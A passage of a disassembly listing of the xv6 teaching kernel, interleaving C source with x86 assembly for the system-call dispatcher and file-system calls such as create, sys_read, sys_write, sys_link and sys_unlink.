801045e3: 74 13 je 801045f8 <argstr+0x58>
for(s = *pp; s < ep; s++){
801045e5: 83 c0 01 add $0x1,%eax
801045e8: 3d fe ff ff 7f cmp $0x7ffffffe,%eax
801045ed: 76 f1 jbe 801045e0 <argstr+0x40>
return -1;
801045ef: b8 ff ff ff ff mov $0xffffffff,%eax
}
801045f4: c9 leave
801045f5: c3 ret
801045f6: 66 90 xchg %ax,%ax
return s - *pp;
801045f8: 29 d0 sub %edx,%eax
}
801045fa: c9 leave
801045fb: c3 ret
801045fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104600 <syscall>:
[SYS_shm_close] sys_shm_close
};
void
syscall(void)
{
80104600: 55 push %ebp
80104601: 89 e5 mov %esp,%ebp
80104603: 56 push %esi
80104604: 53 push %ebx
80104605: 83 ec 10 sub $0x10,%esp
int num;
struct proc *curproc = myproc();
80104608: e8 73 f0 ff ff call 80103680 <myproc>
num = curproc->tf->eax;
8010460d: 8b 70 18 mov 0x18(%eax),%esi
struct proc *curproc = myproc();
80104610: 89 c3 mov %eax,%ebx
num = curproc->tf->eax;
80104612: 8b 46 1c mov 0x1c(%esi),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80104615: 8d 50 ff lea -0x1(%eax),%edx
80104618: 83 fa 16 cmp $0x16,%edx
8010461b: 77 1b ja 80104638 <syscall+0x38>
8010461d: 8b 14 85 e0 74 10 80 mov -0x7fef8b20(,%eax,4),%edx
80104624: 85 d2 test %edx,%edx
80104626: 74 10 je 80104638 <syscall+0x38>
curproc->tf->eax = syscalls[num]();
80104628: ff d2 call *%edx
8010462a: 89 46 1c mov %eax,0x1c(%esi)
} else {
cprintf("%d %s: unknown sys call %d\n",
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
}
}
8010462d: 83 c4 10 add $0x10,%esp
80104630: 5b pop %ebx
80104631: 5e pop %esi
80104632: 5d pop %ebp
80104633: c3 ret
80104634: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cprintf("%d %s: unknown sys call %d\n",
80104638: 89 44 24 0c mov %eax,0xc(%esp)
curproc->pid, curproc->name, num);
8010463c: 8d 43 6c lea 0x6c(%ebx),%eax
8010463f: 89 44 24 08 mov %eax,0x8(%esp)
cprintf("%d %s: unknown sys call %d\n",
80104643: 8b 43 10 mov 0x10(%ebx),%eax
80104646: c7 04 24 b1 74 10 80 movl $0x801074b1,(%esp)
8010464d: 89 44 24 04 mov %eax,0x4(%esp)
80104651: e8 fa bf ff ff call 80100650 <cprintf>
curproc->tf->eax = -1;
80104656: 8b 43 18 mov 0x18(%ebx),%eax
80104659: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
80104660: 83 c4 10 add $0x10,%esp
80104663: 5b pop %ebx
80104664: 5e pop %esi
80104665: 5d pop %ebp
80104666: c3 ret
80104667: 66 90 xchg %ax,%ax
80104669: 66 90 xchg %ax,%ax
8010466b: 66 90 xchg %ax,%ax
8010466d: 66 90 xchg %ax,%ax
8010466f: 90 nop
80104670 <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
80104670: 55 push %ebp
80104671: 89 e5 mov %esp,%ebp
80104673: 53 push %ebx
80104674: 89 c3 mov %eax,%ebx
80104676: 83 ec 04 sub $0x4,%esp
int fd;
struct proc *curproc = myproc();
80104679: e8 02 f0 ff ff call 80103680 <myproc>
for(fd = 0; fd < NOFILE; fd++){
8010467e: 31 d2 xor %edx,%edx
if(curproc->ofile[fd] == 0){
80104680: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx
80104684: 85 c9 test %ecx,%ecx
80104686: 74 18 je 801046a0 <fdalloc+0x30>
for(fd = 0; fd < NOFILE; fd++){
80104688: 83 c2 01 add $0x1,%edx
8010468b: 83 fa 10 cmp $0x10,%edx
8010468e: 75 f0 jne 80104680 <fdalloc+0x10>
curproc->ofile[fd] = f;
return fd;
}
}
return -1;
}
80104690: 83 c4 04 add $0x4,%esp
return -1;
80104693: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104698: 5b pop %ebx
80104699: 5d pop %ebp
8010469a: c3 ret
8010469b: 90 nop
8010469c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
curproc->ofile[fd] = f;
801046a0: 89 5c 90 28 mov %ebx,0x28(%eax,%edx,4)
}
801046a4: 83 c4 04 add $0x4,%esp
return fd;
801046a7: 89 d0 mov %edx,%eax
}
801046a9: 5b pop %ebx
801046aa: 5d pop %ebp
801046ab: c3 ret
801046ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801046b0 <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
801046b0: 55 push %ebp
801046b1: 89 e5 mov %esp,%ebp
801046b3: 57 push %edi
801046b4: 56 push %esi
801046b5: 53 push %ebx
801046b6: 83 ec 4c sub $0x4c,%esp
801046b9: 89 4d c0 mov %ecx,-0x40(%ebp)
801046bc: 8b 4d 08 mov 0x8(%ebp),%ecx
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801046bf: 8d 5d da lea -0x26(%ebp),%ebx
801046c2: 89 5c 24 04 mov %ebx,0x4(%esp)
801046c6: 89 04 24 mov %eax,(%esp)
{
801046c9: 89 55 c4 mov %edx,-0x3c(%ebp)
801046cc: 89 4d bc mov %ecx,-0x44(%ebp)
if((dp = nameiparent(path, name)) == 0)
801046cf: e8 2c d8 ff ff call 80101f00 <nameiparent>
801046d4: 85 c0 test %eax,%eax
801046d6: 89 c7 mov %eax,%edi
801046d8: 0f 84 da 00 00 00 je 801047b8 <create+0x108>
return 0;
ilock(dp);
801046de: 89 04 24 mov %eax,(%esp)
801046e1: e8 aa cf ff ff call 80101690 <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
801046e6: 8d 45 d4 lea -0x2c(%ebp),%eax
801046e9: 89 44 24 08 mov %eax,0x8(%esp)
801046ed: 89 5c 24 04 mov %ebx,0x4(%esp)
801046f1: 89 3c 24 mov %edi,(%esp)
801046f4: e8 a7 d4 ff ff call 80101ba0 <dirlookup>
801046f9: 85 c0 test %eax,%eax
801046fb: 89 c6 mov %eax,%esi
801046fd: 74 41 je 80104740 <create+0x90>
iunlockput(dp);
801046ff: 89 3c 24 mov %edi,(%esp)
80104702: e8 e9 d1 ff ff call 801018f0 <iunlockput>
ilock(ip);
80104707: 89 34 24 mov %esi,(%esp)
8010470a: e8 81 cf ff ff call 80101690 <ilock>
if(type == T_FILE && ip->type == T_FILE)
8010470f: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp)
80104714: 75 12 jne 80104728 <create+0x78>
80104716: 66 83 7e 50 02 cmpw $0x2,0x50(%esi)
8010471b: 89 f0 mov %esi,%eax
8010471d: 75 09 jne 80104728 <create+0x78>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
8010471f: 83 c4 4c add $0x4c,%esp
80104722: 5b pop %ebx
80104723: 5e pop %esi
80104724: 5f pop %edi
80104725: 5d pop %ebp
80104726: c3 ret
80104727: 90 nop
iunlockput(ip);
80104728: 89 34 24 mov %esi,(%esp)
8010472b: e8 c0 d1 ff ff call 801018f0 <iunlockput>
}
80104730: 83 c4 4c add $0x4c,%esp
return 0;
80104733: 31 c0 xor %eax,%eax
}
80104735: 5b pop %ebx
80104736: 5e pop %esi
80104737: 5f pop %edi
80104738: 5d pop %ebp
80104739: c3 ret
8010473a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if((ip = ialloc(dp->dev, type)) == 0)
80104740: 0f bf 45 c4 movswl -0x3c(%ebp),%eax
80104744: 89 44 24 04 mov %eax,0x4(%esp)
80104748: 8b 07 mov (%edi),%eax
8010474a: 89 04 24 mov %eax,(%esp)
8010474d: e8 ae cd ff ff call 80101500 <ialloc>
80104752: 85 c0 test %eax,%eax
80104754: 89 c6 mov %eax,%esi
80104756: 0f 84 bf 00 00 00 je 8010481b <create+0x16b>
ilock(ip);
8010475c: 89 04 24 mov %eax,(%esp)
8010475f: e8 2c cf ff ff call 80101690 <ilock>
ip->major = major;
80104764: 0f b7 45 c0 movzwl -0x40(%ebp),%eax
80104768: 66 89 46 52 mov %ax,0x52(%esi)
ip->minor = minor;
8010476c: 0f b7 45 bc movzwl -0x44(%ebp),%eax
80104770: 66 89 46 54 mov %ax,0x54(%esi)
ip->nlink = 1;
80104774: b8 01 00 00 00 mov $0x1,%eax
80104779: 66 89 46 56 mov %ax,0x56(%esi)
iupdate(ip);
8010477d: 89 34 24 mov %esi,(%esp)
80104780: e8 4b ce ff ff call 801015d0 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
80104785: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp)
8010478a: 74 34 je 801047c0 <create+0x110>
if(dirlink(dp, name, ip->inum) < 0)
8010478c: 8b 46 04 mov 0x4(%esi),%eax
8010478f: 89 5c 24 04 mov %ebx,0x4(%esp)
80104793: 89 3c 24 mov %edi,(%esp)
80104796: 89 44 24 08 mov %eax,0x8(%esp)
8010479a: e8 61 d6 ff ff call 80101e00 <dirlink>
8010479f: 85 c0 test %eax,%eax
801047a1: 78 6c js 8010480f <create+0x15f>
iunlockput(dp);
801047a3: 89 3c 24 mov %edi,(%esp)
801047a6: e8 45 d1 ff ff call 801018f0 <iunlockput>
}
801047ab: 83 c4 4c add $0x4c,%esp
return ip;
801047ae: 89 f0 mov %esi,%eax
}
801047b0: 5b pop %ebx
801047b1: 5e pop %esi
801047b2: 5f pop %edi
801047b3: 5d pop %ebp
801047b4: c3 ret
801047b5: 8d 76 00 lea 0x0(%esi),%esi
return 0;
801047b8: 31 c0 xor %eax,%eax
801047ba: e9 60 ff ff ff jmp 8010471f <create+0x6f>
801047bf: 90 nop
dp->nlink++; // for ".."
801047c0: 66 83 47 56 01 addw $0x1,0x56(%edi)
iupdate(dp);
801047c5: 89 3c 24 mov %edi,(%esp)
801047c8: e8 03 ce ff ff call 801015d0 <iupdate>
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
801047cd: 8b 46 04 mov 0x4(%esi),%eax
801047d0: c7 44 24 04 5c 75 10 movl $0x8010755c,0x4(%esp)
801047d7: 80
801047d8: 89 34 24 mov %esi,(%esp)
801047db: 89 44 24 08 mov %eax,0x8(%esp)
801047df: e8 1c d6 ff ff call 80101e00 <dirlink>
801047e4: 85 c0 test %eax,%eax
801047e6: 78 1b js 80104803 <create+0x153>
801047e8: 8b 47 04 mov 0x4(%edi),%eax
801047eb: c7 44 24 04 5b 75 10 movl $0x8010755b,0x4(%esp)
801047f2: 80
801047f3: 89 34 24 mov %esi,(%esp)
801047f6: 89 44 24 08 mov %eax,0x8(%esp)
801047fa: e8 01 d6 ff ff call 80101e00 <dirlink>
801047ff: 85 c0 test %eax,%eax
80104801: 79 89 jns 8010478c <create+0xdc>
panic("create dots");
80104803: c7 04 24 4f 75 10 80 movl $0x8010754f,(%esp)
8010480a: e8 51 bb ff ff call 80100360 <panic>
panic("create: dirlink");
8010480f: c7 04 24 5e 75 10 80 movl $0x8010755e,(%esp)
80104816: e8 45 bb ff ff call 80100360 <panic>
panic("create: ialloc");
8010481b: c7 04 24 40 75 10 80 movl $0x80107540,(%esp)
80104822: e8 39 bb ff ff call 80100360 <panic>
80104827: 89 f6 mov %esi,%esi
80104829: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104830 <argfd.constprop.0>:
argfd(int n, int *pfd, struct file **pf)
80104830: 55 push %ebp
80104831: 89 e5 mov %esp,%ebp
80104833: 56 push %esi
80104834: 89 c6 mov %eax,%esi
80104836: 53 push %ebx
80104837: 89 d3 mov %edx,%ebx
80104839: 83 ec 20 sub $0x20,%esp
if(argint(n, &fd) < 0)
8010483c: 8d 45 f4 lea -0xc(%ebp),%eax
8010483f: 89 44 24 04 mov %eax,0x4(%esp)
80104843: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010484a: e8 c1 fc ff ff call 80104510 <argint>
8010484f: 85 c0 test %eax,%eax
80104851: 78 2d js 80104880 <argfd.constprop.0+0x50>
if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0)
80104853: 83 7d f4 0f cmpl $0xf,-0xc(%ebp)
80104857: 77 27 ja 80104880 <argfd.constprop.0+0x50>
80104859: e8 22 ee ff ff call 80103680 <myproc>
8010485e: 8b 55 f4 mov -0xc(%ebp),%edx
80104861: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax
80104865: 85 c0 test %eax,%eax
80104867: 74 17 je 80104880 <argfd.constprop.0+0x50>
if(pfd)
80104869: 85 f6 test %esi,%esi
8010486b: 74 02 je 8010486f <argfd.constprop.0+0x3f>
*pfd = fd;
8010486d: 89 16 mov %edx,(%esi)
if(pf)
8010486f: 85 db test %ebx,%ebx
80104871: 74 1d je 80104890 <argfd.constprop.0+0x60>
*pf = f;
80104873: 89 03 mov %eax,(%ebx)
return 0;
80104875: 31 c0 xor %eax,%eax
}
80104877: 83 c4 20 add $0x20,%esp
8010487a: 5b pop %ebx
8010487b: 5e pop %esi
8010487c: 5d pop %ebp
8010487d: c3 ret
8010487e: 66 90 xchg %ax,%ax
80104880: 83 c4 20 add $0x20,%esp
return -1;
80104883: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104888: 5b pop %ebx
80104889: 5e pop %esi
8010488a: 5d pop %ebp
8010488b: c3 ret
8010488c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
80104890: 31 c0 xor %eax,%eax
80104892: eb e3 jmp 80104877 <argfd.constprop.0+0x47>
80104894: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010489a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801048a0 <sys_dup>:
{
801048a0: 55 push %ebp
if(argfd(0, 0, &f) < 0)
801048a1: 31 c0 xor %eax,%eax
{
801048a3: 89 e5 mov %esp,%ebp
801048a5: 53 push %ebx
801048a6: 83 ec 24 sub $0x24,%esp
if(argfd(0, 0, &f) < 0)
801048a9: 8d 55 f4 lea -0xc(%ebp),%edx
801048ac: e8 7f ff ff ff call 80104830 <argfd.constprop.0>
801048b1: 85 c0 test %eax,%eax
801048b3: 78 23 js 801048d8 <sys_dup+0x38>
if((fd=fdalloc(f)) < 0)
801048b5: 8b 45 f4 mov -0xc(%ebp),%eax
801048b8: e8 b3 fd ff ff call 80104670 <fdalloc>
801048bd: 85 c0 test %eax,%eax
801048bf: 89 c3 mov %eax,%ebx
801048c1: 78 15 js 801048d8 <sys_dup+0x38>
filedup(f);
801048c3: 8b 45 f4 mov -0xc(%ebp),%eax
801048c6: 89 04 24 mov %eax,(%esp)
801048c9: e8 e2 c4 ff ff call 80100db0 <filedup>
return fd;
801048ce: 89 d8 mov %ebx,%eax
}
801048d0: 83 c4 24 add $0x24,%esp
801048d3: 5b pop %ebx
801048d4: 5d pop %ebp
801048d5: c3 ret
801048d6: 66 90 xchg %ax,%ax
return -1;
801048d8: b8 ff ff ff ff mov $0xffffffff,%eax
801048dd: eb f1 jmp 801048d0 <sys_dup+0x30>
801048df: 90 nop
801048e0 <sys_read>:
{
801048e0: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
801048e1: 31 c0 xor %eax,%eax
{
801048e3: 89 e5 mov %esp,%ebp
801048e5: 83 ec 28 sub $0x28,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
801048e8: 8d 55 ec lea -0x14(%ebp),%edx
801048eb: e8 40 ff ff ff call 80104830 <argfd.constprop.0>
801048f0: 85 c0 test %eax,%eax
801048f2: 78 54 js 80104948 <sys_read+0x68>
801048f4: 8d 45 f0 lea -0x10(%ebp),%eax
801048f7: 89 44 24 04 mov %eax,0x4(%esp)
801048fb: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104902: e8 09 fc ff ff call 80104510 <argint>
80104907: 85 c0 test %eax,%eax
80104909: 78 3d js 80104948 <sys_read+0x68>
8010490b: 8b 45 f0 mov -0x10(%ebp),%eax
8010490e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104915: 89 44 24 08 mov %eax,0x8(%esp)
80104919: 8d 45 f4 lea -0xc(%ebp),%eax
8010491c: 89 44 24 04 mov %eax,0x4(%esp)
80104920: e8 2b fc ff ff call 80104550 <argptr>
80104925: 85 c0 test %eax,%eax
80104927: 78 1f js 80104948 <sys_read+0x68>
return fileread(f, p, n);
80104929: 8b 45 f0 mov -0x10(%ebp),%eax
8010492c: 89 44 24 08 mov %eax,0x8(%esp)
80104930: 8b 45 f4 mov -0xc(%ebp),%eax
80104933: 89 44 24 04 mov %eax,0x4(%esp)
80104937: 8b 45 ec mov -0x14(%ebp),%eax
8010493a: 89 04 24 mov %eax,(%esp)
8010493d: e8 ce c5 ff ff call 80100f10 <fileread>
}
80104942: c9 leave
80104943: c3 ret
80104944: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80104948: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010494d: c9 leave
8010494e: c3 ret
8010494f: 90 nop
80104950 <sys_write>:
{
80104950: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104951: 31 c0 xor %eax,%eax
{
80104953: 89 e5 mov %esp,%ebp
80104955: 83 ec 28 sub $0x28,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104958: 8d 55 ec lea -0x14(%ebp),%edx
8010495b: e8 d0 fe ff ff call 80104830 <argfd.constprop.0>
80104960: 85 c0 test %eax,%eax
80104962: 78 54 js 801049b8 <sys_write+0x68>
80104964: 8d 45 f0 lea -0x10(%ebp),%eax
80104967: 89 44 24 04 mov %eax,0x4(%esp)
8010496b: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104972: e8 99 fb ff ff call 80104510 <argint>
80104977: 85 c0 test %eax,%eax
80104979: 78 3d js 801049b8 <sys_write+0x68>
8010497b: 8b 45 f0 mov -0x10(%ebp),%eax
8010497e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104985: 89 44 24 08 mov %eax,0x8(%esp)
80104989: 8d 45 f4 lea -0xc(%ebp),%eax
8010498c: 89 44 24 04 mov %eax,0x4(%esp)
80104990: e8 bb fb ff ff call 80104550 <argptr>
80104995: 85 c0 test %eax,%eax
80104997: 78 1f js 801049b8 <sys_write+0x68>
return filewrite(f, p, n);
80104999: 8b 45 f0 mov -0x10(%ebp),%eax
8010499c: 89 44 24 08 mov %eax,0x8(%esp)
801049a0: 8b 45 f4 mov -0xc(%ebp),%eax
801049a3: 89 44 24 04 mov %eax,0x4(%esp)
801049a7: 8b 45 ec mov -0x14(%ebp),%eax
801049aa: 89 04 24 mov %eax,(%esp)
801049ad: e8 fe c5 ff ff call 80100fb0 <filewrite>
}
801049b2: c9 leave
801049b3: c3 ret
801049b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
801049b8: b8 ff ff ff ff mov $0xffffffff,%eax
}
801049bd: c9 leave
801049be: c3 ret
801049bf: 90 nop
801049c0 <sys_close>:
{
801049c0: 55 push %ebp
801049c1: 89 e5 mov %esp,%ebp
801049c3: 83 ec 28 sub $0x28,%esp
if(argfd(0, &fd, &f) < 0)
801049c6: 8d 55 f4 lea -0xc(%ebp),%edx
801049c9: 8d 45 f0 lea -0x10(%ebp),%eax
801049cc: e8 5f fe ff ff call 80104830 <argfd.constprop.0>
801049d1: 85 c0 test %eax,%eax
801049d3: 78 23 js 801049f8 <sys_close+0x38>
myproc()->ofile[fd] = 0;
801049d5: e8 a6 ec ff ff call 80103680 <myproc>
801049da: 8b 55 f0 mov -0x10(%ebp),%edx
801049dd: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
801049e4: 00
fileclose(f);
801049e5: 8b 45 f4 mov -0xc(%ebp),%eax
801049e8: 89 04 24 mov %eax,(%esp)
801049eb: e8 10 c4 ff ff call 80100e00 <fileclose>
return 0;
801049f0: 31 c0 xor %eax,%eax
}
801049f2: c9 leave
801049f3: c3 ret
801049f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
801049f8: b8 ff ff ff ff mov $0xffffffff,%eax
}
801049fd: c9 leave
801049fe: c3 ret
801049ff: 90 nop
80104a00 <sys_fstat>:
{
80104a00: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104a01: 31 c0 xor %eax,%eax
{
80104a03: 89 e5 mov %esp,%ebp
80104a05: 83 ec 28 sub $0x28,%esp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104a08: 8d 55 f0 lea -0x10(%ebp),%edx
80104a0b: e8 20 fe ff ff call 80104830 <argfd.constprop.0>
80104a10: 85 c0 test %eax,%eax
80104a12: 78 34 js 80104a48 <sys_fstat+0x48>
80104a14: 8d 45 f4 lea -0xc(%ebp),%eax
80104a17: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80104a1e: 00
80104a1f: 89 44 24 04 mov %eax,0x4(%esp)
80104a23: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104a2a: e8 21 fb ff ff call 80104550 <argptr>
80104a2f: 85 c0 test %eax,%eax
80104a31: 78 15 js 80104a48 <sys_fstat+0x48>
return filestat(f, st);
80104a33: 8b 45 f4 mov -0xc(%ebp),%eax
80104a36: 89 44 24 04 mov %eax,0x4(%esp)
80104a3a: 8b 45 f0 mov -0x10(%ebp),%eax
80104a3d: 89 04 24 mov %eax,(%esp)
80104a40: e8 7b c4 ff ff call 80100ec0 <filestat>
}
80104a45: c9 leave
80104a46: c3 ret
80104a47: 90 nop
return -1;
80104a48: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104a4d: c9 leave
80104a4e: c3 ret
80104a4f: 90 nop
80104a50 <sys_link>:
{
80104a50: 55 push %ebp
80104a51: 89 e5 mov %esp,%ebp
80104a53: 57 push %edi
80104a54: 56 push %esi
80104a55: 53 push %ebx
80104a56: 83 ec 3c sub $0x3c,%esp
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104a59: 8d 45 d4 lea -0x2c(%ebp),%eax
80104a5c: 89 44 24 04 mov %eax,0x4(%esp)
80104a60: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104a67: e8 34 fb ff ff call 801045a0 <argstr>
80104a6c: 85 c0 test %eax,%eax
80104a6e: 0f 88 e6 00 00 00 js 80104b5a <sys_link+0x10a>
80104a74: 8d 45 d0 lea -0x30(%ebp),%eax
80104a77: 89 44 24 04 mov %eax,0x4(%esp)
80104a7b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104a82: e8 19 fb ff ff call 801045a0 <argstr>
80104a87: 85 c0 test %eax,%eax
80104a89: 0f 88 cb 00 00 00 js 80104b5a <sys_link+0x10a>
begin_op();
80104a8f: e8 5c e0 ff ff call 80102af0 <begin_op>
if((ip = namei(old)) == 0){
80104a94: 8b 45 d4 mov -0x2c(%ebp),%eax
80104a97: 89 04 24 mov %eax,(%esp)
80104a9a: e8 41 d4 ff ff call 80101ee0 <namei>
80104a9f: 85 c0 test %eax,%eax
80104aa1: 89 c3 mov %eax,%ebx
80104aa3: 0f 84 ac 00 00 00 je 80104b55 <sys_link+0x105>
ilock(ip);
80104aa9: 89 04 24 mov %eax,(%esp)
80104aac: e8 df cb ff ff call 80101690 <ilock>
if(ip->type == T_DIR){
80104ab1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104ab6: 0f 84 91 00 00 00 je 80104b4d <sys_link+0xfd>
ip->nlink++;
80104abc: 66 83 43 56 01 addw $0x1,0x56(%ebx)
if((dp = nameiparent(new, name)) == 0)
80104ac1: 8d 7d da lea -0x26(%ebp),%edi
iupdate(ip);
80104ac4: 89 1c 24 mov %ebx,(%esp)
80104ac7: e8 04 cb ff ff call 801015d0 <iupdate>
iunlock(ip);
80104acc: 89 1c 24 mov %ebx,(%esp)
80104acf: e8 9c cc ff ff call 80101770 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80104ad4: 8b 45 d0 mov -0x30(%ebp),%eax
80104ad7: 89 7c 24 04 mov %edi,0x4(%esp)
80104adb: 89 04 24 mov %eax,(%esp)
80104ade: e8 1d d4 ff ff call 80101f00 <nameiparent>
80104ae3: 85 c0 test %eax,%eax
80104ae5: 89 c6 mov %eax,%esi
80104ae7: 74 4f je 80104b38 <sys_link+0xe8>
ilock(dp);
80104ae9: 89 04 24 mov %eax,(%esp)
80104aec: e8 9f cb ff ff call 80101690 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80104af1: 8b 03 mov (%ebx),%eax
80104af3: 39 06 cmp %eax,(%esi)
80104af5: 75 39 jne 80104b30 <sys_link+0xe0>
80104af7: 8b 43 04 mov 0x4(%ebx),%eax
80104afa: 89 7c 24 04 mov %edi,0x4(%esp)
80104afe: 89 34 24 mov %esi,(%esp)
80104b01: 89 44 24 08 mov %eax,0x8(%esp)
80104b05: e8 f6 d2 ff ff call 80101e00 <dirlink>
80104b0a: 85 c0 test %eax,%eax
80104b0c: 78 22 js 80104b30 <sys_link+0xe0>
iunlockput(dp);
80104b0e: 89 34 24 mov %esi,(%esp)
80104b11: e8 da cd ff ff call 801018f0 <iunlockput>
iput(ip);
80104b16: 89 1c 24 mov %ebx,(%esp)
80104b19: e8 92 cc ff ff call 801017b0 <iput>
end_op();
80104b1e: e8 3d e0 ff ff call 80102b60 <end_op>
}
80104b23: 83 c4 3c add $0x3c,%esp
return 0;
80104b26: 31 c0 xor %eax,%eax
}
80104b28: 5b pop %ebx
80104b29: 5e pop %esi
80104b2a: 5f pop %edi
80104b2b: 5d pop %ebp
80104b2c: c3 ret
80104b2d: 8d 76 00 lea 0x0(%esi),%esi
iunlockput(dp);
80104b30: 89 34 24 mov %esi,(%esp)
80104b33: e8 b8 cd ff ff call 801018f0 <iunlockput>
ilock(ip);
80104b38: 89 1c 24 mov %ebx,(%esp)
80104b3b: e8 50 cb ff ff call 80101690 <ilock>
ip->nlink--;
80104b40: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104b45: 89 1c 24 mov %ebx,(%esp)
80104b48: e8 83 ca ff ff call 801015d0 <iupdate>
iunlockput(ip);
80104b4d: 89 1c 24 mov %ebx,(%esp)
80104b50: e8 9b cd ff ff call 801018f0 <iunlockput>
end_op();
80104b55: e8 06 e0 ff ff call 80102b60 <end_op>
}
80104b5a: 83 c4 3c add $0x3c,%esp
return -1;
80104b5d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104b62: 5b pop %ebx
80104b63: 5e pop %esi
80104b64: 5f pop %edi
80104b65: 5d pop %ebp
80104b66: c3 ret
80104b67: 89 f6 mov %esi,%esi
80104b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104b70 <sys_unlink>:
{
80104b70: 55 push %ebp
80104b71: 89 e5 mov %esp,%ebp
80104b73: 57 push %edi
80104b74: 56 push %esi
80104b75: 53 push %ebx
80104b76: 83 ec 5c sub $0x5c,%esp
if(argstr(0, &path) < 0)
80104b79: 8d 45 c0 lea -0x40(%ebp),%eax
80104b7c: 89 44 24 04 mov %eax,0x4(%esp)
80104b80: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104b87: e8 14 fa ff ff call 801045a0 <argstr>
80104b8c: 85 c0 test %eax,%eax
80104b8e: 0f 88 76 01 00 00 js 80104d0a <sys_unlink+0x19a>
begin_op();
80104b94: e8 57 df ff ff call 80102af0 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80104b99: 8b 45 c0 mov -0x40(%ebp),%eax
80104b9c: 8d 5d ca lea -0x36(%ebp),%ebx
80104b9f: 89 5c 24 04 mov %ebx,0x4(%esp)
80104ba3: 89 04 24 mov %eax,(%esp)
80104ba6: e8 55 d3 ff ff call 80101f00 <nameiparent>
80104bab: 85 c0 test %eax,%eax
80104bad: 89 45 b4 mov %eax,-0x4c(%ebp)
80104bb0: 0f 84 4f 01 00 00 je 80104d05 <sys_unlink+0x195>
ilock(dp);
80104bb6: 8b 75 b4 mov -0x4c(%ebp),%esi
80104bb9: 89 34 24 mov %esi,(%esp)
80104bbc: e8 cf ca ff ff call 80101690 <ilock>
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80104bc1: c7 44 24 04 5c 75 10 movl $0x8010755c,0x4(%esp)
80104bc8: 80
80104bc9: 89 1c 24 mov %ebx,(%esp)
80104bcc: e8 9f cf ff ff call 80101b70 <namecmp>
80104bd1: 85 c0 test %eax,%eax
80104bd3: 0f 84 21 01 00 00 je 80104cfa <sys_unlink+0x18a>
80104bd9: c7 44 24 04 5b 75 10 movl $0x8010755b,0x4(%esp)
80104be0: 80
80104be1: 89 1c 24 mov %ebx,(%esp)
80104be4: e8 87 cf ff ff call 80101b70 <namecmp>
80104be9: 85 c0 test %eax,%eax
80104beb: 0f 84 09 01 00 00 je 80104cfa <sys_unlink+0x18a>
if((ip = dirlookup(dp, name, &off)) == 0)
80104bf1: 8d 45 c4 lea -0x3c(%ebp),%eax
80104bf4: 89 5c 24 04 mov %ebx,0x4(%esp)
80104bf8: 89 44 24 08 mov %eax,0x8(%esp)
80104bfc: 89 34 24 mov %esi,(%esp)
80104bff: e8 9c cf ff ff call 80101ba0 <dirlookup>
80104c04: 85 c0 test %eax,%eax
80104c06: 89 c3 mov %eax,%ebx
80104c08: 0f 84 ec 00 00 00 je 80104cfa <sys_unlink+0x18a>
ilock(ip);
